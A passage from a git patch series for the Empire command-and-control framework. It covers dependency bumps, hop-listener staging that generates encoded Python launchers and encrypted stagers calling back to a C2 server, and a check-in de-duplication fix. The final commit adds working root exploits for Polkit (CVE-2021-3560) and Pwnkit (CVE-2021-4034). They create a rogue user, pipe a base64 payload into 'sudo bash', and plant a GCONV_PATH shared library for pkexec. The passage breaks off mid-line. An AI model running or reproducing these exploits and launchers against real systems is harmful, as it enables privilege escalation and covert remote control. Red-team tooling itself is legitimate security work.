(>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] [[package]] name = "uvicorn" @@ -2136,13 +2123,13 @@ files = [ [[package]] name = "websocket-client" -version = "1.5.1" +version = "1.5.2" description = "WebSocket client for Python with low level API options" optional = false python-versions = ">=3.7" files = [ - {file = "websocket-client-1.5.1.tar.gz", hash = "sha256:3f09e6d8230892547132177f575a4e3e73cfdf06526e20cc02aa1c3b47184d40"}, - {file = "websocket_client-1.5.1-py3-none-any.whl", hash = "sha256:cdf5877568b7e83aa7cf2244ab56a3213de587bbe0ce9d8b9600fc77b455d89e"}, + {file = "websocket-client-1.5.2.tar.gz", hash = "sha256:c7d67c13b928645f259d9b847ab5b57fd2d127213ca41ebd880de1f553b7c23b"}, + {file = "websocket_client-1.5.2-py3-none-any.whl", hash = "sha256:f8c64e28cd700e7ba1f04350d66422b6833b82a796b525a51e740b8cc8dab4b1"}, ] [package.extras] @@ -2243,13 +2230,13 @@ numpy = "*" [[package]] name = "werkzeug" -version = "2.3.2" +version = "2.3.6" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" files = [ - {file = "Werkzeug-2.3.2-py3-none-any.whl", hash = "sha256:b7b8bc1609f35ae8e45d48a9b58d7a4eb1e41eec148d37e977e5df6ebf3398b2"}, - {file = "Werkzeug-2.3.2.tar.gz", hash = "sha256:2f3278e9ef61511cdf82cc28fc5da0f5b501dd8f01ecf5ef6a5d810048f68702"}, + {file = "Werkzeug-2.3.6-py3-none-any.whl", hash = "sha256:935539fa1413afbb9195b24880778422ed620c0fc09670945185cce4d91a8890"}, + {file = "Werkzeug-2.3.6.tar.gz", hash = "sha256:98c774df2f91b05550078891dee5f0eb0cb797a522c757a2452b9cee5b202330"}, ] [package.dependencies] @@ -2379,4 +2366,4 @@ testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] [metadata] lock-version = "2.0" python-versions = "^3.8" -content-hash = "f372b87e7b0ea41f5f5d5115009d4b26c7f25d651d2093ff1b65ed85480bbb8c" +content-hash = "254c7101e8dc036480f733a20ffce47d3de5211addea414cb85de96cfed4af29" diff --git a/pyproject.toml b/pyproject.toml index b49c876d6..87d3a0106 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -27,9 +27,9 @@ jinja2 = "*" xlutils = "*" pyparsing = "*" PyMySQL = "^0.10.1" -SQLAlchemy = "^1.3.20" +SQLAlchemy = "^2.0" PyYAML = "^5.3.1" -SQLAlchemy-Utc = "^0.11.0" +SQLAlchemy-Utc = "^0.14.0" prompt-toolkit = "^3.0.9" terminaltables = "^3.1.0" docopt = "^0.6.2" @@ -57,7 +57,7 @@ python-obfuscator = "^0.0.2" [tool.poetry.dev-dependencies] isort = "^5.10.1" black = "^23.1.0" -pytest = "^6.2.5" +pytest = "^7.2.0" pytest-timeout = "^2.1.0" ruff = "^0.0.233" diff --git a/pytest.ini b/pytest.ini new file mode 100644 index 000000000..0a14d0233 --- /dev/null +++ b/pytest.ini @@ -0,0 +1,3 @@ +[pytest] +log_cli = false +log_cli_level = INFO From f7a775a096c61e9e5a57accec68cd2f33aa39959 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Fri, 9 Jun 2023 10:58:05 -0400 Subject: [PATCH 06/36] Updated hop listener (#631) * started work on smb listener * more fixes for smb listener * updated smb listener with new redirector stucture fixes * smb agents communicating no server connection * data between agents and to server - no push * read/write p2p working * beacon and checkin working * working smb agent - needs cleanup * fixed stageless payloads for python * updated smb options to select agent * fixed start to use agent vs name option * fixed staged vs stageless for ironpython * fixed staged agent * updated smb task to restart on disconnect * reverted missing pipe_writer * fixed template issue with hostname * formatting * fixed merge conflicts on agent restart * startup change * fixes * added full copy for agent in options * reverted launcher changes * formatting * removed smb_data from agents * added dynamic pipe names * reduced cpu usage * working python smb stagining * cleaned up code * formatting * moved http comms out of main agent to be modular * removed debug statements * fixed staged smb agent with hop name * formatting * added comments and fixed staging issue * chained smb agents received broken pipe error * testing starkiller 2.0.1 * formatting * fixed default response issue * fixed formatting * fixed stageless issue * possibly working chained smb * issue with staging second smb agent * working staged smb agents, need to fix crashing executable * not actually working, stages normal agent if hop doesnt exist * reverted changes * staging for chain still not working * added stageless for hop call to http * stagless with multi-to-one working with smb * updated changelog and formatting * Update empire/server/listeners/smb.py Co-authored-by: Vincent Rose * Update empire/server/stagers/multi/launcher.py Co-authored-by: Vincent Rose * Update empire/server/listeners/smb.py Co-authored-by: Vincent Rose * fixes * fixes for vinnybod * fixed wrong listener name for ironpython hop * added 1 sec delay to lower cpu usage of agent * fixed python hop launcher * issue in comms.py for destination server * fixed staging for hop listener * updated pytest with working python code * removed debug statement * changelog * changelong update * made fixes for vinnybod --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 2 + empire/server/data/agent/stagers/http/http.py | 4 + empire/server/listeners/http_hop.py | 233 +++++++++++++----- .../test/test_listener_generate_launcher.py | 13 +- 4 files changed, 184 insertions(+), 68 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 291cbc75d..c21f3da6c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added python obfusscation using python-obfuscator (@Cx01N) - Added IronPython SMB Agents/Listener (@Cx01N) - Expand file options to plugins, stagers, and listeners (@Vinnybod) +- Added Python agent support to hop listener (@Cx01N) +- Added staging to hop listener (@Cx01N) ## [5.4.2] - 2023-06-07 diff --git a/empire/server/data/agent/stagers/http/http.py b/empire/server/data/agent/stagers/http/http.py index fc811c58f..33e8e8353 100644 --- a/empire/server/data/agent/stagers/http/http.py +++ b/empire/server/data/agent/stagers/http/http.py @@ -42,6 +42,10 @@ def post_message(uri, data): # sessionID is set by stager.py # headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} headers = {'User-Agent': userAgent} +try: + headers['Hop-Name'] = hop +except: + pass # parse the headers into the global header dictionary for headerRaw in headersRaw: diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index f254177f1..84c120688 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -4,10 +4,12 @@ import os import random from builtins import object, str +from textwrap import dedent from typing import List, Optional, Tuple -from empire.server.common import helpers, packets, templating +from empire.server.common import encryption, helpers, packets, templating from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.utils import data_util, listener_util LOG_NAME_PREFIX = __name__ @@ -141,12 +143,12 @@ def generate_launcher( host = listenerOptions["Host"]["Value"] launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["RedirectStagingKey"]["Value"] + staging_key = listenerOptions["RedirectStagingKey"]["Value"] profile = listenerOptions["DefaultProfile"]["Value"] uris = [a for a in profile.split("|")[0].split(",")] stage0 = random.choice(uris) - if language.startswith("po"): + if language == "powershell": # PowerShell stager = '$ErrorActionPreference = "SilentlyContinue";' @@ -199,7 +201,7 @@ def generate_launcher( # code to turn the key string into a byte array stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" + f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" ) # this is the minimized RC4 stager code from rc4.ps1 @@ -207,7 +209,7 @@ def generate_launcher( # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( - stagingKey, + staging_key, sessionID="00000000", language="POWERSHELL", meta="STAGE0", @@ -243,38 +245,39 @@ def generate_launcher( # otherwise return the case-randomized stager return stager - if language.startswith("py"): + if language in ["python", "ironpython"]: # Python launcherBase = "import sys;" if "https" in host: # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - + launcherBase += dedent( + """ + import ssl; + if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; + """ + ) try: if safeChecks.lower() == "true": - launcherBase += "import re, subprocess;" - launcherBase += ( - 'cmd = "ps -ef | grep Little\ Snitch | grep -v grep"\n' - ) - launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" - launcherBase += "out, err = ps.communicate()\n" - launcherBase += 'if re.search("Little Snitch", out):\n' - launcherBase += " sys.exit()\n" + launcherBase += listener_util.python_safe_checks() except Exception as e: p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p, exc_info=True) + log.error(p) if userAgent.lower() == "default": userAgent = profile.split("|")[1] - launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" - launcherBase += "UA='%s';" % (userAgent) - launcherBase += "server='%s';t='%s';" % (host, stage0) + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }'; + req=urllib.request.Request(server+t); + """ + ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( - stagingKey, + staging_key, sessionID="00000000", language="PYTHON", meta="STAGE0", @@ -283,64 +286,47 @@ def generate_launcher( ) b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") - launcherBase += "import urllib2\n" - if proxy.lower() != "none": if proxy.lower() == "default": - launcherBase += "proxy = urllib2.ProxyHandler();\n" + launcherBase += "proxy = urllib.request.ProxyHandler();\n" else: - proto = proxy.Split(":")[0] - launcherBase += ( - "proxy = urllib2.ProxyHandler({'" - + proto - + "':'" - + proxy - + "'});\n" - ) + proto = proxy.split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" if proxyCreds != "none": if proxyCreds == "default": - launcherBase += "o = urllib2.build_opener(proxy);\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" + + # add the RC4 packet to a cookie + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' else: - launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "');\n" - ) - launcherBase += ( - "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" + launcherBase += dedent( + f""" + proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); + proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; + """ ) else: - launcherBase += "o = urllib2.build_opener(proxy);\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" else: - launcherBase += "o = urllib2.build_opener();\n" - - # add the RC4 packet to a cookie - launcherBase += ( - 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' - % (b64RoutingPacket) - ) + launcherBase += "o = urllib.request.build_opener();\n" # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib2.install_opener(o);\n" - launcherBase += "a=o.open(server+t).read();\n" + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(stagingKey) + launcherBase += listener_util.python_extract_stager(staging_key) if encode: - launchEncoded = base64.b64encode(launcherBase).decode("UTF-8") - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) + launchEncoded = base64.b64encode( + launcherBase.encode("UTF-8") + ).decode("UTF-8") + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" return launcher else: return launcherBase @@ -363,8 +349,129 @@ def generate_stager( If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. """ - log.error("generate_stager() not implemented for listeners/http_hop") - return "" + if not language: + log.error("listeners/http generate_stager(): no language specified!") + return None + + with SessionLocal.begin() as db: + listener = self.mainMenu.listenersv2.get_by_name( + db, listenerOptions["RedirectListener"]["Value"] + ) + + profile = listener.options["DefaultProfile"]["Value"] + uris = [a.strip("/") for a in profile.split("|")[0].split(",")] + staging_key = listener.options["StagingKey"]["Value"] + workingHours = listener.options["WorkingHours"]["Value"] + killDate = listener.options["KillDate"]["Value"] + host = listenerOptions["Host"]["Value"] + customHeaders = profile.split("|")[2:] + session_cookie = "" + + # select some random URIs for staging from the main profile + stage1 = random.choice(uris) + stage2 = random.choice(uris) + + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/http.ps1") + + template_options = { + "working_hours": workingHours, + "kill_date": killDate, + "staging_key": staging_key, + "profile": profile, + "session_cookie": session_cookie, + "host": host, + "stage_1": stage1, + "stage_2": stage2, + } + stager = template.render(template_options) + + # Get the random function name generated at install and patch the stager with the proper function name + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # make sure the server ends with "/" + if not host.endswith("/"): + host += "/" + + # Patch in custom Headers + remove = [] + if customHeaders != []: + for key in customHeaders: + value = key.split(":") + if "cookie" in value[0].lower() and value[1]: + continue + remove += value + headers = ",".join(remove) + stager = stager.replace( + '$customHeaders = "";', f'$customHeaders = "{ headers }";' + ) + + staging_key = staging_key.encode("UTF-8") + unobfuscated_stager = listener_util.remove_lines_comments(stager) + + if obfuscate: + obfuscated_stager = self.mainMenu.obfuscationv2.obfuscate( + unobfuscated_stager, obfuscation_command=obfuscation_command + ) + # base64 encode the stager and return it + # There doesn't seem to be any conditions in which the encrypt flag isn't set so the other + # if/else statements are irrelevant + if encode: + return helpers.enc_powershell(obfuscated_stager) + elif encrypt: + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4( + RC4IV + staging_key, obfuscated_stager.encode("UTF-8") + ) + else: + return obfuscated_stager + + elif language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/http.py") + + template_options = { + "working_hours": workingHours, + "kill_date": killDate, + "staging_key": staging_key, + "profile": profile, + "session_cookie": session_cookie, + "host": host, + "stage_1": stage1, + "stage_2": stage2, + } + stager = template.render(template_options) + + # base64 encode the stager and return it + if encode: + return base64.b64encode(stager) + if encrypt: + # return an encrypted version of the stager ("normal" staging) + RC4IV = os.urandom(4) + + return RC4IV + encryption.rc4( + RC4IV + staging_key.encode("UTF-8"), stager.encode("UTF-8") + ) + else: + # otherwise return the standard stager + return stager + + else: + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) def generate_agent( self, listenerOptions, language=None, obfuscate=False, obfuscation_command="" diff --git a/empire/test/test_listener_generate_launcher.py b/empire/test/test_listener_generate_launcher.py index d2340e095..114fa085c 100644 --- a/empire/test/test_listener_generate_launcher.py +++ b/empire/test/test_listener_generate_launcher.py @@ -459,12 +459,15 @@ def _expected_http_foreign_python_launcher(): def _expected_http_hop_python_launcher(): return dedent( """ - import sys;o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://localhost';t='/admin/get.php';import urllib2 - proxy = urllib2.ProxyHandler(); - o = urllib2.build_opener(proxy); + import sys; + import urllib.request; + UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://localhost';t='/admin/get.php';hop='fake_listener'; + req=urllib.request.Request(server+t); + proxy = urllib.request.ProxyHandler(); + o = urllib.request.build_opener(proxy); o.addheaders=[('User-Agent',UA), ("Cookie", "session=cm91dGluZyBwYWNrZXQ=")]; - urllib2.install_opener(o); - a=o.open(server+t).read(); + urllib.request.install_opener(o); + a=urllib.request.urlopen(req).read(); IV=a[0:4]; data=a[4:]; key=IV+''.encode('UTF-8'); From 8d7663b4f442eb8926421f96c8e25f2d4abdebb0 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Mon, 12 Jun 2023 15:11:06 -0700 Subject: [PATCH 07/36] add a check for duplicate entries before writing checkin (#634) --- empire/server/common/agents.py | 22 ++++++++++++++++-- empire/test/test_agents.py | 41 ++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 2 deletions(-) diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 47b124a02..042e8f241 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -58,6 +58,7 @@ from empire.server.core.db.base import SessionLocal from empire.server.core.db.models import AgentTaskStatus from empire.server.core.hooks import hooks +from empire.server.utils import datetime_util from . import encryption, helpers, packets @@ -185,7 +186,7 @@ def add_agent( ) db.add(agent) - db.add(models.AgentCheckIn(agent_id=sessionID)) + self.update_agent_lastseen_db(sessionID, db) db.flush() message = f"New agent {sessionID} checked in" @@ -688,8 +689,25 @@ def update_agent_sysinfo_db( def update_agent_lastseen_db(self, session_id, db: Session): """ Update the agent's last seen timestamp in the database. + + This checks to see if a timestamp already exists for the agent and ignores + it if it does. It is not super efficient to check the database on every checkin. + A better alternative would be to find a way to configure sqlalchemy to ignore + duplicate inserts or do upserts. """ - db.add(models.AgentCheckIn(agent_id=session_id)) + checkin_time = datetime_util.getutcnow().replace(microsecond=0) + exists = ( + db.query(models.AgentCheckIn) + .filter( + and_( + models.AgentCheckIn.agent_id == session_id, + models.AgentCheckIn.checkin_time == checkin_time, + ) + ) + .first() + ) + if not exists: + db.add(models.AgentCheckIn(agent_id=session_id, checkin_time=checkin_time)) def set_autoruns_db(self, task_command, module_data): """ diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index 3cd886440..0d3e0ffd4 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -1,4 +1,5 @@ import logging +import time from datetime import datetime, timedelta, timezone import pytest @@ -179,3 +180,43 @@ def test_duplicate_host(session_local, models, host): db.add(host2) db.flush() + + +def test_duplicate_checkin_raises_exception(session_local, models, agent): + with pytest.raises(IntegrityError), session_local.begin() as db: + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + timestamp = datetime.now(timezone.utc) + checkin = models.AgentCheckIn( + agent_id=db_agent.session_id, checkin_time=timestamp + ) + checkin2 = models.AgentCheckIn( + agent_id=db_agent.session_id, checkin_time=timestamp + ) + + db.add(checkin) + db.add(checkin2) + db.flush() + + +def test_can_ignore_duplicate_checkins(session_local, models, agent, main): + with session_local.begin() as db: + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + prev_checkin_count = len(db_agent.checkins.all()) + # Need to ensure that these two checkins are not the same second + # as the original checkin + time.sleep(2) + + main.agents.update_agent_lastseen_db(db_agent.session_id, db) + main.agents.update_agent_lastseen_db(db_agent.session_id, db) + + with session_local.begin() as db: + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + checkin_count = len(db_agent.checkins.all()) + + assert checkin_count == prev_checkin_count + 1 From a98ddd0ff3269678f89d818da948db6d9b212773 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 14 Jun 2023 16:49:08 -0400 Subject: [PATCH 08/36] Added Pwnkit and Polkit python modules (#632) * added polkit cve python modules * both exploits working * Update empire/server/modules/python/privesc/multi/CVE-2021-3560.py Co-authored-by: Vincent Rose * Update empire/server/modules/python/privesc/multi/CVE-2021-4034.py Co-authored-by: Vincent Rose * added github link * revert mistaken profile update on this branch * fixed elevated agent issue --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 4 + .../python/privesc/CVE-2021-3560.py | 69 ++++++++++++++ .../python/privesc/CVE-2021-4034.py | 90 +++++++++++++++++++ .../python/privesc/multi/CVE-2021-3560.py | 44 +++++++++ .../python/privesc/multi/CVE-2021-3560.yaml | 42 +++++++++ .../python/privesc/multi/CVE-2021-4034.py | 50 +++++++++++ .../python/privesc/multi/CVE-2021-4034.yaml | 37 ++++++++ 7 files changed, 336 insertions(+) create mode 100644 empire/server/data/module_source/python/privesc/CVE-2021-3560.py create mode 100644 empire/server/data/module_source/python/privesc/CVE-2021-4034.py create mode 100644 empire/server/modules/python/privesc/multi/CVE-2021-3560.py create mode 100644 empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml create mode 100644 empire/server/modules/python/privesc/multi/CVE-2021-4034.py create mode 100644 empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml diff --git a/CHANGELOG.md b/CHANGELOG.md index c21f3da6c..657c1817e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Expand file options to plugins, stagers, and listeners (@Vinnybod) - Added Python agent support to hop listener (@Cx01N) - Added staging to hop listener (@Cx01N) +- Added python module for Pwnkit (CVE-2021-4034) (@Cx01N) +- Added python module for Polkit (CVE-2021-3560) (@Cx01N) +- Fixed safecheck error for python module sudo spawn (@Cx01N) + ## [5.4.2] - 2023-06-07 diff --git a/empire/server/data/module_source/python/privesc/CVE-2021-3560.py b/empire/server/data/module_source/python/privesc/CVE-2021-3560.py new file mode 100644 index 000000000..0979247d3 --- /dev/null +++ b/empire/server/data/module_source/python/privesc/CVE-2021-3560.py @@ -0,0 +1,69 @@ +import pwd +import random +import subprocess +import sys +import time + +print("**************") +print("Exploit: Privilege escalation with polkit - CVE-2021-3560") +print("Exploit code written by Ahmad Almorabea @almorabea") +print("Original exploit author: Kevin Backhouse ") +print( + "For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/") +print("**************") +print("[+] Starting the Exploit ") +time.sleep(3) + +check = True +counter = 0 +while check: + counter = counter + 1 + process = subprocess.Popen( + ['dbus-send', '--system', '--dest=org.freedesktop.Accounts', '--type=method_call', '--print-reply', + '/org/freedesktop/Accounts', 'org.freedesktop.Accounts.CreateUser', 'string:ahmed', 'string:"Ahmad Almorabea', + 'int32:1']) + try: + # print('1 - Running in process', process.pid) + Random = random.uniform(0.006, 0.009) + process.wait(timeout=Random) + process.kill() + except subprocess.TimeoutExpired: + # print('Timed out - killing', process.pid) + process.kill() + + user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8') + if user.find("uid") != -1: + print("[+] User Created with the name of ahmed") + print("[+] Timed out at: " + str(Random)) + check = False + break + if counter > 2000: + print("[-] Couldn't add the user, try again it may work") + sys.exit(0) + +for i in range(200): + # print(i) + uid = "/org/freedesktop/Accounts/User" + str(pwd.getpwnam('ahmed').pw_uid) + + # In case you need to put a password un-comment the code below and put your password after string:yourpassword' + password = "string:" + # res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8') + # password = f"string:{res.rstrip()}" + + process = subprocess.Popen( + ['dbus-send', '--system', '--dest=org.freedesktop.Accounts', '--type=method_call', '--print-reply', uid, + 'org.freedesktop.Accounts.User.SetPassword', password, 'string:GoldenEye']) + try: + # print('1 - Running in process', process.pid) + Random = random.uniform(0.006, 0.009) + process.wait(timeout=Random) + process.kill() + except subprocess.TimeoutExpired: + # print('Timed out - killing', process.pid) + process.kill() + +print("[+] Timed out at: " + str(Random)) +print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ") + +subprocess.call("su - ahmed -c 'echo \"{{ payload }}\" | base64 --decode | sudo bash'", shell=True) + diff --git a/empire/server/data/module_source/python/privesc/CVE-2021-4034.py b/empire/server/data/module_source/python/privesc/CVE-2021-4034.py new file mode 100644 index 000000000..dd8aaab4e --- /dev/null +++ b/empire/server/data/module_source/python/privesc/CVE-2021-4034.py @@ -0,0 +1,90 @@ +# This was completely cribbed from blasty's original C code: +# https://haxx.in/files/blasty-vs-pkexec.c + +import base64 +import os +from ctypes import * +from ctypes.util import find_library + +# Payload, base64 encoded ELF shared object. Generate with: +# +# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64 +# +# The PrependSetuid=true is important, without it you'll just get +# a shell as the user and not root. +# +# Should work with any msfvenom payload, tested with linux/x64/exec +# and linux/x64/shell_reverse_tcp + +payload_b64 = b'{{ payload }}' +payload = base64.b64decode(payload_b64) + +# Set the environment for the call to execve() +environ = [ + b'exploit', + b'PATH=GCONV_PATH=.', + b'LC_MESSAGES=en_US.UTF-8', + b'XAUTHORITY=../LOL', + None +] + +# Find the C library to call execve() directly, as Python helpfully doesn't +# allow us to call execve() with no arguments. +try: + libc = CDLL(find_library('c')) +except: + print('[!] Unable to find the C library, wtf?') + exit() + +# Create the shared library from the payload +print('[+] Creating shared library for exploit code.') +try: + with open('payload.so', 'wb') as f: + f.write(payload) +except: + print('[!] Failed creating payload.so.') + exit() +os.chmod('payload.so', 0o0755) + +# make the GCONV_PATH directory +try: + os.mkdir('GCONV_PATH=.') +except FileExistsError: + print('[-] GCONV_PATH=. directory already exists, continuing.') +except: + print('[!] Failed making GCONV_PATH=. directory.') + exit() + +# Create a temp exploit file +try: + with open('GCONV_PATH=./exploit', 'wb') as f: + f.write(b'') +except: + print('[!] Failed creating exploit file') + exit() +os.chmod('GCONV_PATH=./exploit', 0o0755) + +# Create directory to hold gconf-modules configuration file +try: + os.mkdir('exploit') +except FileExistsError: + print('[-] exploit directory already exists, continuing.') +except: + print('[!] Failed making exploit directory.') + exit() + +# Create gconf config file +try: + with open('exploit/gconv-modules', 'wb') as f: + f.write(b'module UTF-8// INTERNAL ../payload 2\n'); +except: + print('[!] Failed to create gconf-modules config file.') + exit() + +# Convert the environment to an array of char* +environ_p = (c_char_p * len(environ))() +environ_p[:] = environ + +print('[+] Calling execve()') +# Call execve() with NULL arguments +libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p) \ No newline at end of file diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py new file mode 100644 index 000000000..f4faf094e --- /dev/null +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py @@ -0,0 +1,44 @@ +import base64 +from builtins import object, str +from typing import Dict + +from empire.server.core.module_models import EmpireModule +from empire.server.utils.module_util import handle_error_message + + +class Module(object): + @staticmethod + def generate( + main_menu, + module: EmpireModule, + params: Dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + # extract all of our options + listener_name = params["Listener"] + user_agent = params["UserAgent"] + safe_checks = params["SafeChecks"] + + # read in the common module source code + script, err = main_menu.modulesv2.get_module_source( + module_name=module.script_path, + obfuscate=obfuscate, + obfuscate_command=obfuscation_command, + ) + + # generate the launcher code + launcher = main_menu.stagers.generate_launcher( + listener_name, + language="python", + userAgent=user_agent, + safeChecks=safe_checks, + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher command generation.") + + base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8") + script = script.replace("{{ payload }}", base64_launcher) + + return script diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml b/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml new file mode 100644 index 000000000..f9697f3c9 --- /dev/null +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml @@ -0,0 +1,42 @@ +name: Polkit (CVE-2021-3560) +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/@Cx01N_ +description: CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged + methods using DBus, in this exploit we will call 2 privileged methods provided by accounts service (CreateUser and + SetPassword), which allows us to create a privileged user then setting a password to it and at the end logging as the + created user and then elevate to root. +software: '' +tactics: [] +techniques: + - T1050 +background: false +output_extension: '' +needs_admin: false +opsec_safe: true +language: python +min_language_version: '3' +comments: + - https://github.com/Almorabea/Polkit-exploit + - https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ +options: + - name: Agent + description: Agent to execute module on. + required: true + value: '' + - name: Listener + description: Listener to use. + required: true + value: '' + - name: SafeChecks + description: Enable SafeChecks. + required: true + value: 'True' + - name: UserAgent + description: User-agent string to use for the staging request (default, none, or other). + required: false + value: default +script_path: python/privesc/CVE-2021-3560.py +advanced: + custom_generate: true diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py new file mode 100644 index 000000000..573fad351 --- /dev/null +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py @@ -0,0 +1,50 @@ +import base64 +import subprocess +from builtins import object, str +from typing import Dict + +from empire.server.core.module_models import EmpireModule +from empire.server.utils.module_util import handle_error_message + + +class Module(object): + @staticmethod + def generate( + main_menu, + module: EmpireModule, + params: Dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + # extract all of our options + listener_name = params["Listener"] + user_agent = params["UserAgent"] + safe_checks = params["SafeChecks"] + + # read in the common module source code + script, err = main_menu.modulesv2.get_module_source( + module_name=module.script_path, + obfuscate=obfuscate, + obfuscate_command=obfuscation_command, + ) + + # generate the launcher code + launcher = main_menu.stagers.generate_launcher( + listener_name, + language="python", + userAgent=user_agent, + safeChecks=safe_checks, + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher command generation.") + + base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8") + launcher = f'echo \\"{base64_launcher}\\" | base64 --decode | bash' + + command = f"msfvenom -p linux/x64/exec 